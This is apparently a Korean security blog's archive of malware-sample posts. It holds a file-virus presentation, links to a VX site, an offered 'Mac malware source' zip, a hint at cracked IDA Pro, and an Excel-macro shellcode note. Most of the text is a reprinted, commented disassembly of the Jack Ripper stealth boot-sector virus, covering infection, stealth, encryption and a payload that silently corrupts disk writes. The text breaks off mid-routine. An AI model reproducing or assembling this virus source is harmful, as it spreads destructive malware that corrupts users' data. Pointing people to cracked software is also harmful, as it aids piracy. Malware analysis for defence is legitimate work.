posted by 블르샤이닝 2015. 12. 14. 09:52
728x90

파일바이러스 발표자료 

옜날에 정화누나가 발표한자료에서 많이 이용함;;;ㅎㅎ....워낙 파일바이러스에 대해 정리 잘한 자료인지라..(이자료는 코드엔진에서 발표했던부분을 이용한겁니다 문제시 삭제하겠습니다)



파일바이러스.pptx


2015년도 초반에 발표한자료..2014년도였나...하하하...


오 찾아보니 코드엔진 자료도 있어서 같이 첨부합니다 ㅋㅋ



2011_5th_CodeEngn_[daly25]_파일바이러스_분석_및_치료로직_개발.pdf


728x90
posted by 블르샤이닝 2013. 1. 17. 11:59
728x90

난 Perl 몰라..ㅠㅠ 스크립트 언어 이번년도 하나 추가 해야하는데..ㅠㅠ 씨도 잘해야하는데..ㅠ


http://vxnetw0rk.ws/#news

728x90

'분석 > 바이러스 및 악성코드 샘플' 카테고리의 다른 글

파일바이러스 발표자료  (0) 2015.12.14
mac malware source  (0) 2013.01.16
IDA ELF 플러그인  (0) 2012.12.26
매크로가 발전하면 이런것도 가능하다!!와우  (0) 2012.05.15
Jack Ripper mbr  (0) 2012.02.27
posted by 블르샤이닝 2013. 1. 16. 17:27
728x90

mac malware source 인듯....


하지만 난 mac 개발을 안해봐서 패스~



Malcode.Mac.zip



혹시 몰라 자료만 남겨놓는다..엄한데 쓰면 경찰서가니...그럴분들은 없을거라 믿습니다

728x90
posted by 블르샤이닝 2012. 12. 26. 14:33
728x90

IDA ELF 플러그인 


현재는 별로 쓸일이 아에 없어보이고..나중에 7과 8이 대세를 이룰때 필요한 것일듯....


난 이거보다.....64비트 헥스레이가 어서 나왔으면 좋겠구려!!!ㅠㅠ 



EFI Scripts for IDA Pro.rar


------------------------------------------

IDA 6.6 크랙버젼은 공개 못하지만......찾아보면 있어요....64비트 및 ELF 되는거..ELF되나;;리눅스는 우리 잘하는 효제 있어서 안해봤는데 ㅋㅋ 여튼...ELF로 가능할겁니다


728x90
posted by 블르샤이닝 2012. 5. 15. 11:36
728x90

다음은 매크로 바이러스로 shell 코드를 만들어 윈도우의 프로세스에 대한 정보를 가져온 화면이다.  기본적으로 엑셀은 매크로


에 대해 디폴트로 사용안함으로 되어있기 때문에 해당 파일의 악성파일로 변하기위해서는 레지스트리의 값을 변경하는 동작부


터 구현되어야 할것이며, 이것을 이용하여 프로세스 목록 또는 특정 프로세스의 정보들을 가져갈 수 있다. 또한 다양한 옵션으


로 일시정지, 강제종료 등 다양한 기능이 동작될 수 있다. 




해당 엑셀안에 동작하는 매크로들의 화면이며 현재 코드는 정확히 분석되어있지 않으며, 대략적으로나마 프로세스에 대한 정보


들을 이용하기 위한 함수의 이름들을 확인할 수 있다. 



해당 파일은 해외의 사이트에서 가져온 파일을 토대로 간단히 본 부분이며, 엑셀을 이용해 다양한 기능을 구현할 수 있다는 점


을 알려 주기위한 글이다. 고로 짧게 쓴다~ㅎㅎㅎㅎㅎ 해당 파일이 궁금하신분은 아래 사이트 가서 파일을 구할 수 있다.


(참고로 악성기능이 없는 단순간 프로세스 관리 파일이다. 걱정은 안해도 될듯하다)


http://blog.didierstevens.com/2012/05/01/update-taskmanager-xls-v0-1-3-killer-shellcode/



TaskManager_V0_1_3.zip


728x90

'분석 > 바이러스 및 악성코드 샘플' 카테고리의 다른 글

mac malware source  (0) 2013.01.16
IDA ELF 플러그인  (0) 2012.12.26
Jack Ripper mbr  (0) 2012.02.27
Technical Analysis and Advanced Exploitation of Adobe Flash 0-Day (CVE-2011-0609)  (0) 2012.01.12
DOS공격 tool  (0) 2011.12.21
posted by 블르샤이닝 2012. 2. 27. 19:59
728x90
;
; VIRUS NAME: Jack Ripper
; ORIGIN    : Bulgaria
; VIRUS SIZE: 2 Sectors
; VIRUS TYPE: Stealth MBR/BS Infector
; PAYLOAD   : 1 in 1024 disk writes, it swaps 2 words in the write buffer
;
; 
; The Ripper Virus is a very common boot sector virus.  It was the first
; virus that I ever came across.  I was fascinated how it could evade my 
; ignorant teachers at my school's computer lab.  (They couldn't figure 
; out that their AV boot disks were infected.)  After the problem persisted 
; for months, they literally threw away all their disks, formatted the hard
; drives, installed Lame AV, installed security programs, and went to a
; diskless system.  Ripper might be gone, but its memory in that lab
; still lingers.
;
; Anywayz, since it was the first virus I came across, and the virus that
; got me interested in the scene, I decided to do it justice and have it be
; the first virus that I disassembled.  When I started disassembling
; I knew nothing about Boot Viruses (or disassembling as you will see), but 
; after bugging VD for days, he wrote a Boot Virus tutorial, which should 
; also be included in this SLAM edition.  If you like comments, you will 
; find tons of comments.
;
; Although I don't like destructive payloads, Ripper's Payload has to be
; the most subtle destructive data diddling that I know of.  Every 1 in 1024
; writes, it swaps two words around in the write buffer, thus a gradual
; corruption of data and backups.  Because of this destructive payload,
; I have not tried to compile it, or try to make a working byte for byte exact
; copy.  As of this writing, there were no varients of the Ripper Virus, and
; I hope the VX community can give Ripper the respect it deserves and leave
; it that way.
;
; Ripper employs lots of cool tricks, and I have learned alot from 
; disassembling it.  I hope I did Jack Ripper justice with my disassembling
; of his virus.

seg000 segment byte public 'CODE'
    assume cs:seg000
    assume es:nothing, ss:nothing, ds:nothing

    jmp	short Start_Ripper  ; Clear Interrups
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    nop	
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IBM db	49h ; I
    db	42h ; B
    db	4Dh ; M
    db	20h ;  
    db	20h ;  
    db	35h ; 5
    db	2Eh ; .
    db	30h ; 0
BytesPerSector db    0
    db	  2 ;  
    db	  2 ;  
Reserved_Sector	dw 1
Num_Of_FATs db 2
Max_Root_Dirs dw 70h
    db 0A0h ;  
    db	  5 ;  
    db 0F9h ; ù
Sectors_in_Fat dw 3
Sctrs_Per_Track	dw 9
    db	  2 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	29h ; )
    db	  4 ;  
    db	16h ;  
    db	4Eh ; N
    db	34h ; 4
FatName	db 'NO NAME    FAT12   ú3'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Start_Ripper:		      
    
    cli			    ; Clear Interrups
    xor	ax, ax		    ; AX = 0
    mov	ss, ax		    ; SS = 0
    mov	sp, 7C00h	    ; SP = 7C00h
    sti			    ; Restore Interrupts
    mov	si, 7C50h	    ; SI = 7C50h
    push cs		    ; Save CS
    call near ptr XOR_Encryption

Strt_Encryption:

    mov	si, sp		    ; SI = 7C00h
    mov	ax, ds:413h	    ; Get Amount of Free Memory	in Paras
    dec	ax
    dec	ax		    ; Decrease New Amount of Free Memory
    push ax		    ; Save New Amount of Free Memory
    mov	cl, 6
    shl	ax, cl		    ; Convert AX to Segment of Free Memory
    mov	es, ax		    ; ES = Segment of Free Memory
    xor	di, di		    ; DI = 0
    mov	cx, 100h	    ; CX = 100h
    rep	movsw		    ; Move First 512 bytes into	Memory
    mov	ax, offset Memory_Continue; Continue with Resident Copy
    push ds		    ; Push 0
    push es		    ; Push Segment of Ripper in	Memory
    push ax		    ; Push Offset which	we will	return to
    retf		    ; Goto Memory Copy

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Msg db 'FUCK ',27h,'EM UP !'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Memory_Continue:	    

    les	bx, ds:4Ch	    ; BX = Offset of Int 13h, ES = Segment of Int 13h
    push cs
    pop	ds		    ; DS = CS
    mov	Int_13h_Offset,	bx  ; Move Offset of Int 13h into our Handler
    mov	Int_13h_Segment, es ; Move Segment of Int 13h into our Handler
    and	Drive, 80h	    ; Get First	Drive
    mov	dl, Drive	    ; DL = Drive
    mov	dh, Head	    ; DH = Head
    xor	bx, bx		    ; BX = 0
    call Check		    ; Check to see if we are hooked
    pop	es		    ; ES = 0
    jnb	Exit_Hooking	    ; Jump if Carry Flag is Clear
    mov	cx, Loc_2_Sector    ; CX = Location of Second Sector of	Ripper
    mov	bx, 200h	    ; BX = 200h, Directly after	First Half
    push es		    ; Push 0
    push cs
    pop	es		    ; ES = CS
    call Prepare_Read	    ; Read 2nd half of Ripper into Memory
    pop	es		    ; ES = 0
    push es
    pop	ds		    ; DS = 0
    jb	Exit_Hooking	    ; If there is a problem with the Read, Exit
    pop	word ptr ds:413h    ; Set New Amount of	Free Memory
    mov	word ptr ds:4Ch, offset	Int_13h_Handler; Set New Offset	to our Handler
    mov	ds:4Eh,	cs	    ; Set new Segment to our handler
    push ax		    ; Push something for the pop

Exit_Hooking:		    

    pop	ax		    ; Pop the extra Pushed number
    mov	cx, cs:Loc_Old_Boot ; CX = Location of Old Boot	Sector
    mov	bx, sp		    ; BX = 7C00h
    call Prepare_Read	    ; Read Original Boot Sectorto 0000:7C00h
    push es		    ; Push 0
    push bx		    ; Push 7C00h at End	of XOR Loop Return to 0:7C00h
    jmp	short Skip_Signature; Encrypt Memory Resident Txt and Code

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Signature db '(C)1992 Jack Ripper'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Skip_Signature:

    mov	si, offset Strt_Encryption; Encrypt Memory Resident Txt	and Code

XOR_Encryption proc far

    mov	di, si		    ; DI = SI
    push cs
    pop	ds		    ; DS = CS
    push cs
    pop	es		    ; ES = CS

XOR_Loop:		    

    lodsb		    ; Load a byte into AL
    xor	al, 10101010b	    ; XOR it
    stosb		    ; Put it Back
    push di		    ; Save DI
    and	di, 11111111b	    ; Get lower	half of	DI
    cmp	di, offset Skip_Signature; Are we to our stopping point?
    pop	di		    ; Get Old DI back
    jnz	XOR_Loop	    ; Loop if not done
    xor	ax, ax		    ; AX = 0
    mov	ds, ax		    ; DS = 0
    mov	es, ax		    ; ES = 0
    retf		    ; Return
XOR_Encryption endp

Int_13h	proc near

    pushf 
    call dword ptr cs:Int_13h_Offset; Call Original Int	13h
    retn		    ; Return
Int_13h	endp

Prepare_Read proc near	    

    mov	di, 3		    ; Try to Read 3 Times

Read_One_Sector:	    

    xor	ax, ax		    ; AX = 0
    call Int_13h	    ; Reset Disk System
    mov	ax, 201h	    ; AX = 201h
    call Int_13h	    ; Read one Sector into ES:BX buffer
    jnb	Successful_Read	    ; Jump if Read was Successful
    dec	di		    ; Decrease DI
    jnz	Read_One_Sector	    ; If DI > 0, Try to	Read Again

Successful_Read:	    

    retn		    ; Return
Prepare_Read endp

Check proc near

    mov	di, bx		    ; DI = BX
    mov	si, 0E2h            ; SI = E2h
    add	di, si		    ; DI = BX +	E2h
    mov	cx, 20h	            ; CX = 20h

Check_Loop:		    

    cmpsw		    ; Cmp Two Words
    jnz	Not_Equal	    ; Jump if they aren't equal
    loop Check_Loop	    ; Loop
    clc			    ; Clear Carry Flag
    retn		    ; Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Not_Equal:		    

    stc			    ; Set Carry	Flag
    retn		    ; Return
Check endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Read:			

    push ax		    ; Save Registers
    push bx
    push cx
    push dx
    cmp	dl, ds:177h	    ; Does Drive = Our Drive?
    mov	ds:177h, dl	    ; Put Drive	into Drive
    jnz	Not_Same_Drive	    ; Don't read the disk a whole bunch.
    xor	ax, ax		    ; AX = 0
    int	1Ah		    ; CLOCK - GET TIME OF DAY
			    ; Return: CX:DX = clock count
			    ; AL = 00h if clock	was read or written (via AH=0,1) since the previous
			    ; midnight
			    ; Otherwise, AL > 0
    mov	ax, dx		    ; AX = Clock Count
    sub	ax, ds:175h	    ; Sub from Clock Count a previous Clock Count
    mov	ds:175h, dx	    ; Save New Clock Count
    cmp	ax, 36h		    ; Cmp Time to about	3 seconds.
    jb	Less_3_Secs	    ; If below,	Don't Check Infection

Not_Same_Drive:

    pop	dx		    ; Get Head and Drive
    push dx		    ; Save it again
    push si		    ; Push Return Value
    call Check_Infection    ; Check For	Infection
    pop	si		    ; Pop return Value

Less_3_Secs:		    

    pop	dx		    ; Restore Registers
    pop	cx
    pop	bx
    pop	ax
    pop	es
    push es		    ; Save ES
    push si		    ; Save SI
    call Check_To_Stealth   ; Stealth

Exit_Handler:

    pop	es		    ; Restore Registers
    pop	ds
    pop	di
    pop	si
    pop	dx
    pop	cx
    pop	bx
    pop	ax
    popf		    ; Restores Flags
    jmp	dword ptr cs:Int_13h_Offset; Continue with real	Int 13h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Loc_2_Sector dw	4
Loc_Old_Boot dw	5
Int_13h_Offset dw 53ECh
Int_13h_Segment	dw 0F000h
Clock_Count dw 0AC8h
Drive db 0
Head db	1
Partion_Tables db  7Ch ; |
    db 0A3h ; £
    db	4Dh ; M
    db	7Ch ; |
    db 0F8h ; ø
    db 0C3h ; Ã
    db 0F9h ; ù
    db 0C3h ; Ã
    db 0B4h ; ´
    db	  2 ;  
    db	8Bh ; ‹
    db	16h ;  
    db	4Dh ; M
    db	7Ch ; |
    db 0B1h ; ±
    db	  6 ;  
    db 0D2h ; Ò
    db 0E6h ; æ
    db	0Ah ;  
    db	36h ; 6
    db	4Fh ; O
    db	7Ch ; |
    db	8Bh ; ‹
    db 0CAh ; Ê
    db	86h ; †
    db 0E9h ; é
    db	8Ah ; Š
    db	16h ;  
    db	24h ; $
    db	7Ch ; |
    db	8Ah ; Š
    db	36h ; 6
    db	25h ; %
    db	7Ch ; |
    db 0CDh ; Í
    db	13h ;  
    db 0C3h ; Ã
    db	0Dh ;  
    db	0Ah ;  
NonSystemDisk db 'Non-System disk or disk error',0Dh,0Ah
    db 'Replace and press any key when ready',0Dh,0Ah,0
Ibmbio db 'IBMBIO  COMIBMDOS  COM',0
    db	  0 ;  
End_1st_Sector dw 0AA55h

I13h_With_Check	proc far

    call Int_13h	    ; Real Int 13h
    jb	Write_Problem	    ; Problem?
    retn		    ; Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Write_Problem:		    

    pop	bx

Read_Problem:		    

    push bp		    ; Save BP
    mov	bp, sp		    ; BP = Stack
    or	word ptr [bp+12h], 1; Set Carry	Flag
    mov	[bp+10h], ax	    ; Set Error	AX
    pop	bp		    ; Get BP Back

Pop_w_Check:
			    
    pop	es
    pop	ds
    pop	di
    pop	si
    pop	dx
    pop	cx
    pop	bx
    pop	ax
    popf 
    jb	Error_Skip_AX_0	    ; Err: Don't erase our previous AX
    mov	ax, 0		    ; No Error AX = 0

Error_Skip_AX_0:	    

    retf 2
I13h_With_Check	endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Stealth:		    

    call near ptr I13h_With_Check
    call Check		    ; Check for	Infection
    jb	Pop_w_Check	    ; Exit if Not Infected
    mov	cx, es:[bx+16Fh]    ; Find original BS's Track & Sector
    mov	dh, es:[bx+178h]    ; Finde Original BS's Head
    mov	ax, 201h	    ; Read One Sector
    call near ptr I13h_With_Check
    jmp	short Pop_w_Check   ; Exit

SetUp_400_Read proc near

    mov	dh, 0		    ; Head = 0
    mov	cx, 1		    ; Track = 0	Sector = 1
    mov	bx, 400h	    ; BX = 400h
    mov	ax, 201h	    ; Read One Sector
    push cs
    pop	es		    ; ES = CS
    retn 
SetUp_400_Read endp

Read_Into_400 proc near

    call SetUp_400_Read
    call Int_13h	    ; Read One Sector Into CS:400h
    retn		    ; Return
Read_Into_400 endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Return_out_of_Stealth:	    

    mov	si, bx
    mov	di, ax
    push es
    pop	ds		    ; DS = ES
    assume ds:seg000
    call SetUp_400_Read	    ; Read BS to CS:400h
    call near ptr I13h_With_Check
    push di		    ; Save Orginal AX
    push si		    ; Save Original BX
    mov	bx, si		    ; Restore BX
    inc	si
    inc	si		    ; SI = Past	Jump
    call Save_Boot_Headr    ; Move Header info
    push ds
    push cs
    pop	ds		    ; DS = CS
    push cx
    mov	bx, 400h	    ; BX = 400h
    call Check
    pop	cx		    ; Restore CX
    pop	es
    assume es:nothing
    pop	bx		    ; Get Original BX back
    pop	ax		    ; Get Original AX back
    jnb	No_Stealth_Problem  ; SI = 56Fh
    jmp	Exit_Handler	    ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Stealth_Problem:

    mov	si, 56Fh	    ; SI = 56Fh
    mov	cx, [si]	    ; Location Old Boot
    mov	dh, [si+9]	    ; Location Old Head
    call near ptr I13h_With_Check; Stealth it
    call SetUp_400_Read	    ; Read Real	BS
    xor	bx, bx		    ; To CS:0h
    call near ptr I13h_With_Check
    jmp	short Pop_w_Check

Check_To_Stealth proc near

    cmp	ch, 0		    ; Compare Track to 0
    jnz	Continue	    ; Allow if not
    cmp	cl, 1		    ; Cmp Sector to 1
    jnz	No_Stealth	    ; No Need for Stealth
    cmp	dh, 0		    ; Compare Head to 0
    jnz	No_Stealth	    ; No Need for Stealth
    pop	di		    ; Retn to number in	SI
    retn		    ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Continue:
    retn 2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Stealth:

    add	sp, 4		    ; Remove the bytes pushed by Stealth
    cmp	ah, 2		    ; Is it a read?
    jnz	Not_Read	    ; Check for	Read
    mov	di, ax		    ; Save AX in DI
    call near ptr I13h_With_Check; Read
    mov	ax, di		    ; Restore AX

Check_Again:		    

    mov	di, bx		    ; Save BX in DI
    mov	si, 200h	    ; SI = 200h

Word_Check_Loop:	    

    cmpsw
    jnz	Word_Not_Equal	    ; If they don't equal Jmp
    cmp	si, 400h	    ; Check 200	bytes
    jnz	Word_Check_Loop
    jmp	short Stealth_Disk  ; DI = BX
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Word_Not_Equal:		    

    add	bx, 200h	    ; Increase One Sector
    dec	al		    ; One Less Sector
    jnz	Check_Again	    ; Save BX in DI
    jmp	short AL_Zero
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Stealth_Disk:

    mov	di, bx		    ; DI = BX
    mov	cx, 100h	    ; CX = 100h
    push ax		    ; Save AX
    xor	ax, ax		    ; AX = 0
    rep	stosw		    ; Mov 1024 bytes/2 sectors
    pop	ax		    ; Restore AX
    dec	al		    ; Dec AL again
    jz	AL_Zero
    mov	cx, 100h	    ; CX = 100h
    xor	ax, ax		    ; AX = 0
    rep	stosw

AL_Zero:		    
			    ; Check_To_Stealth+4Aj
    jmp	Pop_w_Check
Check_To_Stealth endp

Payload	proc near

    push ax		    ; Save Registers
    push bx
    push cx
    push dx
    xor	ax, ax		    ; AX = 0
    int	1Ah		    ; CLOCK - GET TIME OF DAY
			    ; Return: CX:DX = clock count
			    ; AL = 00h if clock	was read or written (via AH=0,1) since the previous
			    ; midnight
			    ; Otherwise, AL > 0
    test dx, 1111111111b    ; Test with	3FFh, 1	in 1024	chance
    jnz	Exit_Payload	    ; Jump if not equal
    or	cl, dh		    ; Or CL and	DH to get a random number
    and	cx, 111111100b	    ; Discard top 7 bits and 2 lower bits
    add	bx, cx		    ; Swap 2 words with	a random location
    push word ptr es:[bx]   ; The infamous Ripper Word Swapping
    push word ptr es:[bx+2] ; Push 2 words
    pop	word ptr es:[bx]    ; And Pop them in Reverse order
    pop	word ptr es:[bx+2]

Exit_Payload:		    

    pop	dx		    ; Restore Registers
    pop	cx
    pop	bx
    pop	ax
    retn		    ; Return
Payload	endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Not_Read:

    cmp	al, 1		    ; Is it just one Sector?
    jnz	Exit		    ; Exit If its Not just one sector
    push es		    ; Save Registers
    push bx
    push cx
    push dx
    call Read_Into_400	    ; Read BS right after Virus	in Memory
    pop	dx		    ; Restore the Saved	Registers
    pop	cx
    pop	bx
    pop	es
    jnb	No_Read_Prob	    ; No Problem with Read
    jmp	Read_Problem	    ; Problem with Read
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Read_Prob:		    

    mov	si, 56Dh	    ; SI = 56h
    cmp	dh, [si+0Bh]	    ; Cmp DH with Head on the BS
    jnz	Exit		    ; Exit if they don't equal.
    cmp	cx, [si]	    ; Cmp CX with Location of the 2nd sector.
    jz	Write_BS_MBR	    ; If equal write MBR/BS
    cmp	cx, [si+2]	    ; Cmp CX with location of the Old sector.
    jz	Write_BS_MBR	    ; If equal write MBR/BS

Exit:

    jmp	Exit_Handler	    ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Write_BS_MBR:

    call SetUp_400_Read
    mov	ax, 301h	    ; Write 1 Sector Instead of	Read
    call near ptr I13h_With_Check; Write One Sector
    jmp	Pop_w_Check

Check_Infection	proc near

    call Read_Into_400	    ; Read First Sector	into CS:400
    jnb	No_Read_Error	    ; Jump if No Error
    retn 
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Read_Error:		    

    mov	si, 402h	    ; SI = 402h
    call Save_Boot_Headr
    call Check		    ; Check Infection
    jb	Not_Infected	    ; Jump if it isn't Infected

Infection_Done:

    retn		    ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Not_Infected:		    

    test Drive,	80h	    ; See if the Drive is a Diskette or	HD
    jz	Diskette	    ; Jump to Diskette if it is	a Diskette
    mov	cx, 8		    ; Second Sector Resides at Sector 8

Write_2nd_Sectr:

    mov	bx, 200h	    ; Read from	the Second 512 bytes (200h)
    mov	ax, 302h	    ; Write 2 Sectors
    call Int_13h	    ; Write 2nd	Sector and Orig	Boot Sector
    jb	Infection_Done	    ; Near Return
    mov	Loc_2_Sector, cx    ; Write where to find the Second Sector
    inc	cx		    ; Old Boot is found	right after it.
    mov	Loc_Old_Boot, cx    ; Where to find the	Old boot code
    mov	Head, dh	    ; Save Head
    call SetUp_400_Read
    xor	bx, bx		    ; Start at beginning of Code
    mov	ax, 301h	    ; Write 1 Sector
    call Int_13h	    ; Write the	Boot Sector
    retn		    ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Diskette:		    

    cmp	word ptr BytesPerSector, 200h; Make sure it is a floppy.
    jnz	Infection_Done	    ; Quit if not Equal
    mov	cx, Reserved_Sector ; Location of Reserved Sectors before FAT
    mov	al, Num_Of_FATs	    ; Number Of	FATs
    cbw			    ; Convert byte to word, xor	ah, ah?
    mul	Sectors_in_Fat	    ; AX = # of	FATS * # of Sectors in FAT
    add	cx, ax		    ; CX = Reserved Sectors + Sectors of FATS
    mov	ax, 20h	; ' '       ; AX = 20h
    mul	Max_Root_Dirs	    ; AX = 20h * Max # of Root Directories
    mov	bx, 200h	    ; BX = 200h
    div	bx		    ; AX = 20h * # if Root Dirs	/ 200h
    add	cx, ax		    ; CX = Reserved + Fat + Root Dir
    dec	cx		    ; Decrease CX by 1
    mov	dh, 1		    ; DH = 1
    sub	cx, Sctrs_Per_Track ; CX = Reserved + FAT + Root Dir - 1 - Track
    mov	dl, Drive	    ; DL = Drive
    jmp	short Write_2nd_Sectr; Go Write	the Second Sector
Check_Infection	endp

Save_Boot_Headr	proc near

    mov	di, 2		    ; DI = 2

Move_Header_Loop:	    

    movsb		    ; Move a byte from DS:DI to	ES:DI
    cmp	di, 40h
    jnz	Move_Header_Loop    ; Jump if we are not done
    mov	si, bx		    ; Si = 400h
    mov	di, offset Partion_Tables
    add	si, di		    ; DI = 400h	+ Partition Table

Move_Something:

    movsb
    cmp	di, 200h
    jnz	Move_Something
    retn 
Save_Boot_Headr	endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Int_13h_Handler:	    

    clc			    ; Clear Carry Flag
    pushf		    ; Save Flags
